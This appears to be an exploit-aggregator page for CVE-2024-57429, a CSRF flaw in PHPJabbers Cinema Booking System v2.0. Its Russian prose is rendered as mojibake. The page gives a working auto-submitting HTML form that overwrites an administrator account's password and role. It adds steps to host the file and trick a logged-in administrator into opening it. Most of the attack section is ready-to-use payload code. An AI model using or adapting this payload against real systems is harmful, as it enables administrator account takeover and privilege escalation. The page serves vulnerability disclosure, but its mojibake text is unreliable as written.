Sploitus

Exploit for CVE-2024-57429

kitploit Β· 2026-08-25

Exploit Code

MARKDOWN48 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-AHRIXIA-CVE-2024-57429
# CVE-2024-57429

Π£ΡΠ·Π²ΠΈΠΌΠΎΡΡ‚ΡŒ мСТсайтовой ΠΏΠΎΠ΄Π΄Π΅Π»ΠΊΠΈ запроса (CSRF) Π² Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ pjActionUpdate систСмы бронирования ΠΊΠΈΠ½ΠΎΡ‚Π΅Π°Ρ‚Ρ€ΠΎΠ² PHPJabbers Cinema Booking System v2.0 позволяСт ΡƒΠ΄Π°Π»Π΅Π½Π½Ρ‹ΠΌ Π·Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊΠ°ΠΌ ΠΏΠΎΠ²Ρ‹ΡˆΠ°Ρ‚ΡŒ ΠΏΡ€ΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΠΈ, ΠΎΠ±ΠΌΠ°Π½ΠΎΠΌ заставляя Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΡ†ΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎΠ³ΠΎ администратора ΠΎΡ‚ΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ нСсанкционированный запрос.

## ВоздСйствиС:

Эксплуатация этой уязвимости CSRF ΠΌΠΎΠΆΠ΅Ρ‚ привСсти ΠΊ нСсанкционированным дСйствиям, Ρ‚Π°ΠΊΠΈΠΌ ΠΊΠ°ΠΊ:

  * Π‘ΠΌΠ΅Π½Π° пароля администратора, Ρ‡Ρ‚ΠΎ фактичСски Π±Π»ΠΎΠΊΠΈΡ€ΡƒΠ΅Ρ‚ Π΅ΠΌΡƒ доступ.
  * ΠŸΠΎΠ²Ρ‹ΡˆΠ΅Π½ΠΈΠ΅ ΠΏΡ€ΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΠΉ Π°Ρ‚Π°ΠΊΡƒΡŽΡ‰Π΅Π³ΠΎ Π΄ΠΎ администратора ΠΏΡƒΡ‚Π΅ΠΌ обновлСния Π΅Π³ΠΎ Ρ€ΠΎΠ»ΠΈ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ.



## Эксплойт - Proof of Concept (POC)

### ΠœΠ΅ΠΆΡΠ°ΠΉΡ‚ΠΎΠ²Π°Ρ ΠΏΠΎΠ΄Π΄Π΅Π»ΠΊΠ° запроса (CSRF)

### poc.html

root@kitploit:~
    
    
    <html>
     <!-- CSRF PoC - Update Admin User -->
     <body>
       <form action="http://127.0.0.1/CinemaBookingDev/index.php?controller=pjAdminUsers&action=pjActionUpdate" method="POST">
         <input type="hidden" name="user_update" value="1" />
         <input type="hidden" name="id" value="3" />
         <input type="hidden" name="role_id" value="1" />
         <input type="hidden" name="email" value="some-email@example.com" />
         <input type="hidden" name="password" value="newpassword123" />
         <input type="hidden" name="name" value="Attacker" />
         <input type="hidden" name="phone" value="1234567890" />
         <input type="hidden" name="status" value="T" />
         <input type="submit" value="Submit request" />
       </form>
       <script>
         history.pushState('', '', '/');
         document.forms[0].submit();
       </script>
     </body>
    </html>
    

  1. Π‘ΠΎΡ…Ρ€Π°Π½ΠΈΡ‚Π΅ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½Ρ‹ΠΉ Π²Ρ‹ΡˆΠ΅ ΠΊΠΎΠ΄ ΠΊΠ°ΠΊ poc.html
  2. РазмСститС Ρ„Π°ΠΉΠ» Π½Π° сСрвСрС ΠΈ ΠΎΠ±ΠΌΠ°Π½ΠΎΠΌ Π·Π°ΡΡ‚Π°Π²ΡŒΡ‚Π΅ администратора ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚ΡŒ Π΅Π³ΠΎ, ΠΏΠΎΠΊΠ° ΠΎΠ½ Π°Π²Ρ‚ΠΎΡ€ΠΈΠ·ΠΎΠ²Π°Π½ Π² ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΈ.
  3. УчСтная запись администратора Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½Π° с Π΄Π°Π½Π½Ρ‹ΠΌΠΈ Π°Ρ‚Π°ΠΊΡƒΡŽΡ‰Π΅Π³ΠΎ ΠΈ Π½ΠΎΠ²Ρ‹ΠΌ ΠΏΠ°Ρ€ΠΎΠ»Π΅ΠΌ.